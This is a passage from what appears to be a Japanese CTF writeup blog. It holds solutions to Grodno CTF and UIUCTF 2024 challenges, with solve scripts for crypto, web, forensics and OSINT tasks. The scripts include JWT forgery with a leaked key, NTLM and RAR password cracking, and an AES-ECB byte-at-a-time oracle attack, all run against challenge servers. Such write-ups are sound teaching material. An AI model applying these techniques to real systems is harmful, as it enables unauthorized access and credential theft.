|          |MS_0ffice_documents}|                                             |
+----------+--------------------+---------------------------------------------+

base64文字列をデコードする。

$ echo Z3JvZG5ve01TXzBmZmljZV9tYWNyb3NfYXJlX2Ffc291cmNlX29mX21hbGljaW91c19jb2RlLl9CM19jYXJlZnVsX3dpdGhfdGhlX2Z1bmN0aW9uYWxpdHlfaW5fYWN0aXZlX01TXzBmZmljZV9kb2N1bWVudHN9 | base64 -d
grodno{MS_0ffice_macros_are_a_source_of_malicious_code._B3_careful_with_the_functionality_in_active_MS_0ffice_documents}
grodno{MS_0ffice_macros_are_a_source_of_malicious_code._B3_careful_with_the_functionality_in_active_MS_0ffice_documents}

Rivest, 1991 (Misc)

3文字以内のmd5のリストと推測し、ブルートフォースで元のメッセージに戻す。

#!/usr/bin/env python3
import itertools
import hashlib

chars = [chr(c) for c in range(32, 127)]

dic = {}
for r in range(1, 4):
    for x in itertools.product(chars, repeat=r):
        pt = ''.join(x)
        h = hashlib.md5(pt.encode()).hexdigest()
        if h not in dic:
            dic[h] = pt

with open('Rivest_91.txt', 'r') as f:
    lines = f.read().splitlines()

msg = ''
for line in lines:
    msg += dic[line]
print(msg)
MD5 processes a variable-length message into a fixed-length output of 128 bits. grodno{no,_MD5_was_n0t_invent3d_by_me,_it_was_invented_by_R1vest_in_1991.} The input message is broken up into chunks of 512-bit blocks (sixteen 32-bit words); the message is padded so that its length is divisible by 512. The padding works as follows: first, a single bit, 1, is appended to the end of the message. This is followed by as many zeros as are required to bring the length of the message up to 64 bits fewer than a multiple of 512. The remaining bits are filled up with 64 bits representing the length of the original message, modulo 2**64.

この文中にフラグが含まれていた。

grodno{no,_MD5_was_n0t_invent3d_by_me,_it_was_invented_by_R1vest_in_1991.}

Haute couture (OSINT)

写真が添付され、これらのモデルがパリのファッションショーで発表されたのは何年かという問題。

画像検索すると、以下のページが見つかる。

https://dk.pinterest.com/pin/655344183263748294/

2015年ウィメンズコレクションのものらしい。

grodno{2015}

World of Tanks (OSINT)

問題文は以下のようになっている。

On July 29, 2016, the Belarusian airline presented an aircraft in the colors of a popular computer game.
Find which airline used this color scheme and name the aircraft model.

添付の写真はこうなっている。

画像検索すると、以下のページなどが見つかる。

https://commons.wikimedia.org/wiki/File:Belavia_Boeing_737-300_World_of_Tanks_logojet_at_Kiev_Zhulyany.jpg

航空会社はBelavia。機体モデルはBoeing 737-300。

grodno{Belavia;Boeing_737-300}

l33t (PPC)

leet文字と対応する文字の対応表を作成し、置換して答えていく。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

leets = {'!': 'i', '+': 't', '0': 'o', '1': 'l', '3': 'e', '4': 'a'}

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9006))

for _ in range(7):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

for r in range(50):
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    ans = data.translate(str.maketrans(leets))
    print(ans)
    s.sendall(ans.encode() + b'\n')

    for i in range(2):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Решайте задачу в удаленном терминале. 50 рау ндов и флаг ваш !
Время на ответ - не больше 5 секунд ...

Знаете что такое l33t? Тогда подключайтесь и покажите, на что вы способны !
Вы будете получть слова в кодировке l33t, которые нужно перевести в обчную запись.
Например, f@v0ur!t3. Это, конечно же, favourite

Раунд 1/50
4cc3ss
access

Правильно: access
Раунд 2/50
br34+h3
breathe

Правильно: breathe
Раунд 3/50
3nc0un+3r
encounter

Правильно: encounter

        :
        :

Раунд 48/50
c0nduc+
conduct

Правильно: conduct
Раунд 49/50
+4b13
table

Правильно: table
Раунд 50/50
4rr4ng3
arrange

Правильно: arrange
grodno{94d720leet_1s_a_system_0f_modified_spellings++6&0k!6f4ada}
grodno{94d720leet_1s_a_system_0f_modified_spellings++6&0k!6f4ada}

Mutated Caesar (Reverce)

暗号化の処理概要は以下の通り。

・hash: flagのmd5ダイジェスト(16進数表記)
・n1: 0x20以上0x41以下のランダム整数
・n2: 0x7d以上0x7e以下のランダム整数
・CN = {chr(i+n1): i for i in range(0, n2-n1+1)}
・NC = {i: chr(i+n1) for i in range(0, n2-n1+1)}
・N: CNの長さ
・key: 0以上N以下のランダム整数
・cipher: flagの各文字cについてNC[(CN[c] + key) % N]の文字を結合したもの
・cipherとhashを出力

n1, n2, keyのブルートフォースでフラグの形式に戻すことができるものを探す。

#!/usr/bin/env python3
from hashlib import md5

with open('Caesare_out.txt', 'r') as f:
    params = f.read().splitlines()

cipher = params[0].split(' = ')[1]
hash = params[1].split(' = ')[1]

found = False
for n1 in range(0x20, 0x42):
    for n2 in range(0x7d, 0x7f):
        CN = {chr(i+n1): i for i in range(0, n2-n1+1)}
        NC = {i: chr(i+n1) for i in range(0, n2-n1+1)}
        N = len(CN.keys())
        for key in range(0, N + 1):
            try:
                flag = "".join([NC[(CN[c] - key) % N] for c in cipher])
                if flag.startswith('grodno{'):
                    print(flag)
            except:
                continue

実行結果は以下の通り。

grodno{Nhis_is_probably_fever_from_the_upper_Hile}
grodno{Mhis_is_probably_fever_from_the_upper_Gile}
grodno{Ohis_is_probably_fever_from_the_upper_Iile}
grodno{Nhis_is_probably_fever_from_the_upper_Hile}
grodno{Phis_is_probably_fever_from_the_upper_Jile}
grodno{Ohis_is_probably_fever_from_the_upper_Iile}
grodno{Qhis_is_probably_fever_from_the_upper_Kile}
grodno{Phis_is_probably_fever_from_the_upper_Jile}
grodno{Rhis_is_probably_fever_from_the_upper_Lile}
grodno{Qhis_is_probably_fever_from_the_upper_Kile}
grodno{Shis_is_probably_fever_from_the_upper_Mile}
grodno{Rhis_is_probably_fever_from_the_upper_Lile}
grodno{This_is_probably_fever_from_the_upper_Nile}
grodno{Shis_is_probably_fever_from_the_upper_Mile}
grodno{Uhis_is_probably_fever_from_the_upper_Oile}
grodno{This_is_probably_fever_from_the_upper_Nile}

この中で英文になるものがフラグになる。

grodno{This_is_probably_fever_from_the_upper_Nile}

Random cipher (Reverce)

encrypt関数(引数: text)の処理は以下の通り。

・key: 1以上textの長さの2倍以下のランダム整数
・result = []
・textの各文字cについて以下を実行
 ・resultに[cのASCIIコード] + [cのASCIIコード % key]を追加
 ・keyをプラス1

keyが一定数より大きい場合、encryptはASCIIコードが2倍になる。resultの値を2で割って、復号してみる。

#!/usr/bin/env python3
with open('terror.txt', 'r') as f:
    result = f.read().split(' ')

text = ''
for c in result:
    text += chr(int(c) // 2)
print(text)

復号結果は以下の通り。

def encrypt(text): # flag is: grodno{xa-xa-xa-terrorist}
    key = randint(1, 2 * len(text))
    result = []
    for c in text:
        result.append(ord(c) + (ord(c) % key))
        key = key + 1
    return result

コメントにフラグが書いてあった。

grodno{xa-xa-xa-terrorist}

Pizza (Reverce)

$ file file.exe  
file.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

dnSpyでデコンパイルする。

using System;
using System.Linq;

namespace ____
{
	// Token: 0x02000002 RID: 2
	internal static class Program
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		public static void Main(string[] args)
		{
			if (!Program.___("9,4,6,8.6.2,9.2,;.2,9.9,2,2,7.3,4,7.2,2,9.4,7.3,3.7,9.1,9,4.0,9.8."))
			{
				throw new StackOverflowException();
			}
			string text = Console.ReadLine();
			if (!Program.___(text))
			{
				throw new StackOverflowException();
			}
			Console.WriteLine(string.Join<int>("|", from x in text.Reverse<char>().ToList<char>()
			select (int)(x / '\u0005')));
			Console.WriteLine((Program.__(text) == "9,4,6,8.6.2,9.2,;.2,9.9,2,2,7.3,4,7.2,2,9.4,7.3,3.7,9.1,9,4.0,9.8.") ? ("Flag: grodno{" + text + "}") : "Sorry :(");
			Console.ReadLine();
		}

		// Token: 0x06000002 RID: 2 RVA: 0x000020F8 File Offset: 0x000002F8
		private static string __(string text)
		{
			string text2 = "";
			foreach (char c in text)
			{
				text2 += (c / '\u0002').ToString();
				text2 += ((c % '\u0002' == '\0') ? "." : ",");
			}
			return text2;
		}

		// Token: 0x06000003 RID: 3 RVA: 0x00002153 File Offset: 0x00000353
		private static bool ___(string input)
		{
			return !string.IsNullOrEmpty(input) && input.Length > 0;
		}

		// Token: 0x04000001 RID: 1
		private const string _____ = "9,4,6,8.6.2,9.2,;.2,9.9,2,2,7.3,4,7.2,2,9.4,7.3,3.7,9.1,9,4.0,9.8.";
	}
}

"9,4,6,8.6.2,9.2,;.2,9.9,2,2,7.3,4,7.2,2,9.4,7.3,3.7,9.1,9,4.0,9.8."において、2バイトごとに復号する。2バイトで1文字目のASCIIコードを2倍し、2文字目が","の場合は1プラスして文字にしていけばよい。

#!/usr/bin/env python3
enc = '9,4,6,8.6.2,9.2,;.2,9.9,2,2,7.3,4,7.2,2,9.4,7.3,3.7,9.1,9,4.0,9.8.'

text = ''
for i in range(0, len(enc), 2):
    code = ord(enc[i]) * 2
    if enc[i+1] == ',':
        code += 1
    text += chr(code)

flag = 'grodno{%s}' % text
print(flag)
grodno{simplereverseengineeringforcsharp}

Buy a cat (Web)

どれを選択してもcrypt_key1とcrypt_key2は変わらない。猫を要求すればよいようなので、パラメータを変えて、リクエストする。

$ curl -k "https://ctf.mf.grsu.by/tasks/006a5dd1315a77da9f9f7f0ad78d7e29/?crypt_key1=d719b8adfc6e3841ffc856d52abc5fb9&chosen=Cat&crypt_key2=d719b8adfc6e3841ffc856d52abc5fb9"
<html>
<head>
    <title>CTF-task Grodno</title>
    <meta name="owner" content="grodno_CTF" />
    <meta name="publisher" content="grodno_CTF" />
    <meta name="copyright" content="grodno_CTF" />
    <meta name="robots" content="noindex,nofollow">
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>

<h2 align="center">Купи кота !</h2>

<p align="center">Правильно, кот ваш !<br/><br/></p><p align="center">Flag is: grodno{24a8e0_1t_1s_v3ry_1mp0rt4nt_c4t_dfbacd}</p></body>
</html>
grodno{24a8e0_1t_1s_v3ry_1mp0rt4nt_c4t_dfbacd}

Very Secure App (Web)

admin / adminでログインする。roleはuserと表示され、クッキーのtokenには以下が設定されている。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIifQ.ysbwIYSovR_XiG5_B6IZxq-9sNvTmQQXk4ho8g6S3B8

https://jwt.io/で確認する。
ヘッダは以下のようになっている。

{
  "alg": "HS256",
  "typ": "JWT"
}

ペイロードは以下のようになっている。

{
  "username": "admin",
  "role": "user"
}

http://109.107.157.141:8000/robots.txtにアクセスする。HTMLソースを見ると、以下のように書いてある。

<input type="hidden" name="secret_key" value="s3cr3t_k3y_f0r_jwt" />

Signatureに以下のキーを入力すると、Verifiedとなった。

"s3cr3t_k3y_f0r_jwt"

"role"を"admin"にして、Signature部含め、tokenを生成する。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.C3NdSfoINC54aB-TZnUycA1mTRuf4Gg6t8kKVBRqL94

これをクッキーのtokenに設定し、Get Flagボタンを押すと、以下のように表示され、フラグが得られた。

Congratulations! Here is your flag: grodno{r0b0ts_k3y_jwt}
grodno{r0b0ts_k3y_jwt}

Admin rights (Forensics)

>rip.exe -f sam -r SAM > sam.txt
Parsed Plugins file.
Launching samparse v.20120722
samparse complete.

>type sam.txt
        :
Username        : user_7565 [1302]
Full Name       : 
User Comment    : 
Account Type    : Default Admin User
Last Login Date : Never
Pwd Reset Date  : Fri Jun 28 12:59:04 2024 Z
Pwd Fail Date   : Never
Login Count     : 0
  --> Normal user account
        :

administrator権限を持つアカウントはuser_7565。

grodno{user_7565}

Series SAM (Forensics)

https://github.com/Dionach/NtdsAudit/releasesのツールを使う。

>NtdsAudit.exe ntds.dit -s SYSTEM -p pwdump.txt --users-csv users.csv

The base date used for statistics is 2024/07/02 19:29:32

Account stats for: contoso.com
  Disabled users _____________________________________________________     3 of  5550 (0.1%)
  Expired users ______________________________________________________     0 of  5550 (0%)
  Active users unused in 1 year ______________________________________  5547 of  5547 (100%)
  Active users unused in 90 days _____________________________________  5547 of  5547 (100%)
  Active users which do not require a password _______________________     1 of  5547 (0%)
  Active users with non-expiring passwords ___________________________     8 of  5547 (0.1%)
  Active users with password unchanged in 1 year _____________________  5547 of  5547 (100%)
  Active users with password unchanged in 90 days ____________________  5547 of  5547 (100%)
  Active users with Administrator rights _____________________________     2 of  5547 (0%)
  Active users with Domain Admin rights ______________________________     2 of  5547 (0%)
  Active users with Enterprise Admin rights __________________________     2 of  5547 (0%)

  Disabled computers _________________________________________________     1 of    10 (10%)
  Active computers unused in 1 year __________________________________     9 of     9 (100%)
  Active computers unused in 90 days _________________________________     9 of     9 (100%)

WARNING:
The NTDS file contains user accounts with passwords stored using reversible encryption. Use the --dump-reversible option to output these users and passwords.

Password stats for: contoso.com
  Active users using LM hashing ______________________________________     0 of  5547 (0%)
  Active users with duplicate passwords ______________________________    10 of  5547 (0.2%)
  Active users with password stored using reversible encryption ______     1 of  5547 (0%)

pwdump.txtを見ると、Tilen2000のパスワードハッシュは以下のようになっている。

AAD3B435B51404EEAAD3B435B51404EE:C0720D115B8B326ACA0D9B95F0ECA86E

NTLMハッシュC0720D115B8B326ACA0D9B95F0ECA86EをCrackStationでクラックする。

Hello123
grodno{Hello123}

Videomaker (Forensics)

$ binwalk 2.mp4      

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2695020       0x291F6C        JPEG image data, JFIF standard 1.01

$ foremost 2.mp4
Processing: 2.mp4
|*|

JPG画像を抽出することができた。

この画像には以下の通り書いてある。

video_recovery
grodno{video_recovery}

FTP (Forensics)

dllを解凍し、.textを見ると、以下のように書いてある箇所があることがわかる。

1 2 7 . 0 . 0 . 1  	u s e r  1 2 3 4 5 _ f t p _ c t f

パスワードは「12345_ftp_ctf」であると推測できる。

grodno{12345_ftp_ctf}

Image (Forensics)

FTK Imagerで開き、[root]-[Images]配下を見る。画像ファイルがたくさんあるが、怪しいファイルは見つからない。Thumbs.dbをエクスポートして、Thumbs Viewerで見ると、その中の一つにフラグがあった。

image_in_thumbnail
grodno{image_in_thumbnail}

Admin (Forensics)

$ binwalk Disk_G    

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
552960        0x87000         SQLite 3.x database,

SQLite DBファイルを切り出す。

$ dd if=Disk_G bs=552960 skip=1 of=Disk_G.db
16+1 records in
16+1 records out
8884224 bytes (8.9 MB, 8.5 MiB) copied, 0.16571 s, 53.6 MB/s

DB Browserで開き、データを確認する。psersonターブルだけがあり、keyに対してvalueが1文字あり、keyの番号順にvalueを並べると、フラグになった。

DataBase_key
grodno{DataBase_key}

Confusion (Forensics)

docxのプロパティを見ると、コメントに以下のように書いてあった。

MIME-Version: 1.0
Content-Type: application/octet-stream; name="ctf_key.rar"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="ctf_key.rar"

UmFyIRoHAQC+bUHzCgEFBhAFAQHWgQA1WCtCEwMCngAEngAAeer5TYAAAANDTVTQk9GA0JPQow0K
aHR0cHM6Ly93d3cuZ3JzdS5ieS/RywybbAIDVKAAAIsAIIAFAAtjdGZfa2V5LnR4dDABAAMPNei7
keFMKF9ZEAP+GGyYoTmHBZLgMEldLHZvlF0UzLghX4N7U+PQ/fc0c/siAgCKwl+1/iVpBnE2sKJl
R+BXdJjxcVxfGy9b+tsqQm8xLXA1VHLzKmeWpBqd0r9+mONHKJxYwA5DGMH/t6TFr8jVR16xEw4D
BvoAAPoAAIAAAAJRTwVkCJh1AJEBcdHLDJtsAgNUoAAAiwAggAUAC2N0Zl9rZXkudHh0MAEAAw81
6LuR4UwoX1kQA/4YbJihOYcFkuAwSV0sdm+UXRTMuCFfg3tT49D99zRz+yICAIrCX7X+JWkGcTaw
omVH4Fd0mPFxXF8bL1v62ypCbzEtHXdWUQMFBAA=

このbase64データをCyberChefでデコードして、rarファイルとして保存する。このファイルを解凍しようとしたが、パスワードがかかっているので、クラックする。

$ rar2john ctf_key.rar > rar.hash

先頭の"ctf_key.rar:"を削除する。

$ john --wordlist=/usr/share/wordlists/rockyou.txt rar.hash
Using default input encoding: UTF-8
Loaded 1 password hash (RAR5 [PBKDF2-SHA256 128/128 AVX 4x])
Cost 1 (iteration count) is 32768 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0112             (?)     
1g 0:00:50:04 DONE (2024-07-05 17:31) 0.000332g/s 815.5p/s 815.5c/s 815.5C/s 0112731939..0111931247
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワード0112で解凍する。

$ unrar x ctf_key.rar

UNRAR 7.01 beta 1 freeware      Copyright (c) 1993-2024 Alexander Roshal

Archive comment:
ГрГУ
https://www.grsu.by/


Extracting from ctf_key.rar

Enter password (will not be echoed) for ctf_key.txt: 

Extracting  ctf_key.txt                                               OK 
All OK

$ cat ctf_key.txt
ctf_zip_key
grodno{ctf_zip_key}

DLP on Z|nZ (Crypto)

$ nc ctf.mf.grsu.by 9030
************************************************************
*                                                          *
* Finding the Discrete Logarithm is not easy.              *
* And it is hidden in the Z/pZ ring                        *
*                                                          *
* h = g**x mod p                                           *
*                                                          *
* x - flag in format grodno{[0x20..0x7e]+}                 *
*                                                          *
************************************************************


1. Calculate h
2. Enter flag
Your choice: 1
p = 10809132846017317218461030835912017041479126781669740730714347123305939369017132030152739766334237486102648925383128882587322956584469377346329724922582895638011745899234399676410096561039553
g = 2
h = 1233502988677444326133183049978460774822650726785627302500730413065732938924837506324832422447180999450445804510961465962518500387773294661224204917542559336674379848307366762560305869159805

1. Calculate h
2. Enter flag
Your choice: 

sageでそのままDLPを解く。

sage: p = 108091328460173172184610308359120170414791267816697407307143471233059393690171320301527397663342374861026489253831288
....: 82587322956584469377346329724922582895638011745899234399676410096561039553
....: g = 2
....: h = 123350298867744432613318304997846077482265072678562730250073041306573293892483750632483242244718099945044580451096146
....: 5962518500387773294661224204917542559336674379848307366762560305869159805
sage: R = IntegerModRing(p)
sage: x = discrete_log(R(h), R(g))
sage: x
151187977724481794013913355657075436696362499273341
sage: int(x).to_bytes((int(x).bit_length() + 7) // 8, 'big')
b'grodno{s4g3_1s_p0wer}'

この結果を入力する。

1. Calculate h
2. Enter flag
Your choice: 2
Your answer: grodno{s4g3_1s_p0wer}
Flag for you: grodno{0459f0s4g3_1s_p0werdf8ac2}
grodno{0459f0s4g3_1s_p0werdf8ac2}

Attack on AES (Crypto)

$ nc ctf.mf.grsu.by 9016
Вам предоставлен шифротекст, полученный алгоритмом AES в режиме ECB (Электронной Кодовой Книги). Ключ шифрования неизвестен.

Шифротекст содержит флаг, который вы должны найти. Т.е. ваша задача - взломать алгоритм AES в режиме ECB

У вас есть доступ к устройству шифрования и вы можете зашифровать произвольные данные, каждый раз повторно используя тот же самый ключ.

Введенные вами данные будут добавляться спереди к флагу и вы будуте получать новый шифротекст.
Внимание !!! Данные, которые вы вводите должны быть в кодировке base64 !!!

secret ciphertext (b64): A3cQkw2CnMrmFxFNVce0xG+eHIHusdC1xaLbNF3kPSAz92wFes+BEXXYmCtkklaT

YQ==
ciphertext (b64): OvfucagxwH66T1gXDyDf5Nd3aXZ+alWnfjS47J/MmjEMNEPLyPOXJoeyDulaie4YpgHvw/C35cudMiCIQ8iacQ==
>>> from base64 import *
>>> len(b64decode('A3cQkw2CnMrmFxFNVce0xG+eHIHusdC1xaLbNF3kPSAz92wFes+BEXXYmCtkklaT'))
48
>>> len(b64decode('OvfucagxwH66T1gXDyDf5Nd3aXZ+alWnfjS47J/MmjEMNEPLyPOXJoeyDulaie4YpgHvw/C35cudMiCIQ8iacQ=='))
64

フラグの前に指定したbase64文字列をデコードした文字を結合して、暗号化しているようだ。1文字ずつはみ出させながら、ブロック単位で同じ暗号になる文字を探していく。
暗号化するブロックのイメージは以下の通り。

0123456789abcdef
aFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFF
FPPPPPPPPPPPPPPP

0123456789abcdef
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXX?
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXF
FFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFP
#!/usr/bin/env python3
import socket
from base64 import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ctf.mf.grsu.by', 9016))

for _ in range(11):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

flag = ''
for i in range(48):
    for code in range(32, 127):
        pt = 'X' * (47 - i) + flag + chr(code) + 'X' * (47 - i)
        print('[+]', flag + chr(code))
        pt = b64encode(pt.encode()).decode()
        print(pt)
        s.sendall(pt.encode() + b'\n')
        data = recvuntil(s, b'\n').rstrip()
        print(data)
        ct = b64decode(data.split(' ')[-1])
        if ct[32:48] == ct[80:96]:
            flag += chr(code)
            break

print('[*]', flag)

実行結果は以下の通り。

Вам предоставлен шифротекст, полученный алгоритмом AES в режиме ECB (Электронной Кодовой Книги). Ключ шифрования неизвестен.

Шифротекст содержит флаг, который вы должны найти. Т.е. ваша задача - взломать алгоритм AES в режиме ECB

У вас есть доступ к устройству шифрования и вы можете зашифровать произвольные данные, каждый раз повторно используя тот же самый ключ.

Введенные вами данные будут добавляться спереди к флагу и вы будуте получать новый шифротекст.
Внимание !!! Данные, которые вы вводите должны быть в кодировке base64 !!!

secret ciphertext (b64): +8hekqsN4+V3OdMs++0QMw27G5iZ02MrQIpxHuUzLDYcRIDm3JOFriMVMwAKt+rh

[+]  
WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFggWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFg=
ciphertext (b64): KJK1GZHN6B8NaC4xLaxVyyiStRmRzegfDWguMS2sVcs4XaCdpDt0hfJod9EpX0tvKJK1GZHN6B8NaC4xLaxVyyiStRmRzegfDWguMS2sVctAsf1zqjSt7AHuefH5NmCAAp59ufRsDAbMPBi96mRtZ7BtjFzV5R0IroYHbNT+idhueI0AOzXPnix0kHEOVWvl
[+] !
WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFghWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFg=
ciphertext (b64): KJK1GZHN6B8NaC4xLaxVyyiStRmRzegfDWguMS2sVcvoCY25dqi4Gx6ViEwmdjJnKJK1GZHN6B8NaC4xLaxVyyiStRmRzegfDWguMS2sVctAsf1zqjSt7AHuefH5NmCAAp59ufRsDAbMPBi96mRtZ7BtjFzV5R0IroYHbNT+idhueI0AOzXPnix0kHEOVWvl
[+] "
WFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFgiWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFg=
ciphertext (b64): KJK1GZHN6B8NaC4xLaxVyyiStRmRzegfDWguMS2sVcsRtDR/hFGdV7BafKppAaVVKJK1GZHN6B8NaC4xLaxVyyiStRmRzegfDWguMS2sVctAsf1zqjSt7AHuefH5NmCAAp59ufRsDAbMPBi96mRtZ7BtjFzV5R0IroYHbNT+idhueI0AOzXPnix0kHEOVWvl
                :
                :
                :
[+] grodno{247320AES_1n_ECB_m0de_1s_hackable6fcaed}}
Z3JvZG5vezI0NzMyMEFFU18xbl9FQ0JfbTBkZV8xc19oYWNrYWJsZTZmY2FlZH19
ciphertext (b64): +8hekqsN4+V3OdMs++0QMw27G5iZ02MrQIpxHuUzLDZ8BoSkJQ1GTK8O0Pe4ddLl+8hekqsN4+V3OdMs++0QMw27G5iZ02MrQIpxHuUzLDYcRIDm3JOFriMVMwAKt+rh
[+] grodno{247320AES_1n_ECB_m0de_1s_hackable6fcaed}~
Z3JvZG5vezI0NzMyMEFFU18xbl9FQ0JfbTBkZV8xc19oYWNrYWJsZTZmY2FlZH1+
ciphertext (b64): +8hekqsN4+V3OdMs++0QMw27G5iZ02MrQIpxHuUzLDZJMvorDR1wzgmxRaq776d4+8hekqsN4+V3OdMs++0QMw27G5iZ02MrQIpxHuUzLDYcRIDm3JOFriMVMwAKt+rh
[*] grodno{247320AES_1n_ECB_m0de_1s_hackable6fcaed}
grodno{247320AES_1n_ECB_m0de_1s_hackable6fcaed}

Unrevealed secret (Crypto)

暗号化の処理概要は以下の通り。

・key = generate_string(len(flag))
 ・byte_list: flagの長さの(0以上127以下のランダム値 + 256) // 2の値の配列
 ・byte_string: byte_listをバイト文字列化
 ・utf8_string: byte_stringをutf-8でデコードし、エラーの場合は"?"の文字にする。
 ・utf8_stringを返却
・encrypted_flag = xor_cipher(flag, key)
・encrypted_flagを出力

試してみたところkeyは常にコード65533の羅列になる。このkeyを算出したあとにencrypted_flagとXORして復号する。

#!/usr/bin/env python3
import random

def generate_string(length):
    byte_list = [(random.randint(0, 127) + 256)//2 for _ in range(length)]
    byte_string = bytes(byte_list)
    utf8_string = byte_string.decode('utf-8', errors='replace')
    return utf8_string

def xor_cipher(message, key):
    message_nums = [ord(c) for c in message]
    key_nums = [ord(c) for c in key]
    cipher_nums = [m ^ k for m, k in zip(message_nums, key_nums)]
    return ''.join(chr(i) for i in cipher_nums)

with open('encrypted_flag.txt', 'r', encoding='utf-8') as f:
    encrypted_flag = f.read()

key = generate_string(len(encrypted_flag))
flag = xor_cipher(encrypted_flag, key)
print(flag)
grodno{Utf8_3ncod1ng_fe4ture5_c4n_ru1n}

Feedback Form (Feedback)

アンケートに答えたら、フラグが表示された。

grodno{Our_next_CTF_will_be_in_July_2025._We_invite_you_to_participate_!}

UIUCTF 2024 Writeup

この大会は2024/6/29 9:00(JST)~2024/7/1 9:00(JST)に開催されました。
今回もチームで参戦。結果は2341点で959チーム中161位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Miscellaneous)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

uiuctf{plz_n0_ch4tGPT}

Hip With the Youth (OSINT)

Instagramで検索すると、以下のページが見つかる。

https://www.instagram.com/longislandsubwayauthority/

@longislandsubwayauthorityのリンク先を見てみる。
スレッドの一番下に以下のように書いてある。

I've been told if I include a flag with my post I'll get more engagement, well here goes nothing!

この返信にフラグが書いてあった。

uiuctf{7W1773r_K!113r_321879}

An Unlikely Partnership (OSINT)

「Hip With the Youth」で見つけたスレッドに以下のLinkedInのURLがリンクされている。

https://www.linkedin.com/in/long-island-subway-authority/

このページにあるスキルの項目をすべて表示させると、Transportationに1件のスキル推薦があるので、詳細を見てみる。

このUIUC Chanが戦略的ビジネス提携を結んだ相手のようだ。プロフィールを見てみると、自己紹介にフラグが書いてあった。

uiuctf{0M160D_U1UCCH4N_15_MY_F4V0r173_129301}

X Marked the Spot (Cryptography)

フラグがXORで暗号化されている。鍵の長さは8。フラグの長さは48で鍵の長さで割り切れる。フラグの形式は"uiuctf{"から始まり"}"で終わる。このため、XOR鍵を算出することができ、フラグを復号できる。

#!/usr/bin/env python3
with open('ct', 'rb') as f:
    ct = f.read()

flag_head = b'uiuctf{'
flag_tail = b'}'

key = b''
for i in range(len(flag_head)):
    key += bytes([ct[i] ^ flag_head[i]])
key += bytes([ct[-1] ^ flag_tail[0]])

flag = ''
for i in range(len(ct)):
    flag += chr(ct[i] ^ key[i % len(key)])
print(flag)
uiuctf{n0t_ju5t_th3_st4rt_but_4l50_th3_3nd!!!!!}

Without a Trace (Cryptography)

サーバの処理概要は以下の通り。

・M = inputs()
 ・M: すべて0の5×5の行列配列
 ・各i行i列目のみ数値を入力し、書き換え
 ・Mを返却
・check(M) が0の場合終了
 ※Mの入力時に0を指定しなければよい。
・res = fun(M)
 ・f: flagを5バイトごとに数値化したもの5個の配列
 ・F: すべて0の5×5の行列配列
 ・以下5回繰り返し(i)
  ・F[i][i] = f[i]
 ・R = F * M
 ・Rの対角線の合計値を返却
・resを表示

1回目の5個の入力で、1, 1, 1, 1, 1を指定する。この場合funの表示では、f[0] + f[1] + f[2] + f[3] + f[4]の値が表示される。
次に2, 1, 1, 1, 1を指定する。この場合funの表示では、f[0] * 2 + f[1] + f[2] + f[3] + f[4]の値が表示される。
この結果から1回目のfunの値を引けば、f[0]の値がわかる。同様に他の位置でも実施すれば、フラグを求めることができる。

#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import *

def get_trace(p, u):
    for i in range(5):
        data = p.recvuntil(b'= ').decode()
        print(data + str(u[i]))
        p.sendline(str(u[i]).encode())
    data = p.recvline().decode().rstrip()
    print(data)
    return int(data.split(' ')[-1])

p = remote('without-a-trace.chal.uiuc.tf', 1337, ssl=True)

u_base = [1, 1, 1, 1, 1]
trace_base = get_trace(p, u_base)

p.close()

flag = ''
for i in range(5):
    p = remote('without-a-trace.chal.uiuc.tf', 1337, ssl=True)
    u = u_base.copy()
    u[i] = 2
    trace = get_trace(p, u)
    f = trace - trace_base
    flag += long_to_bytes(f).decode()
    p.close()

print(flag)

実行結果は以下の通り。

[+] Opening connection to without-a-trace.chal.uiuc.tf on port 1337: Done
[WAT] Welcome
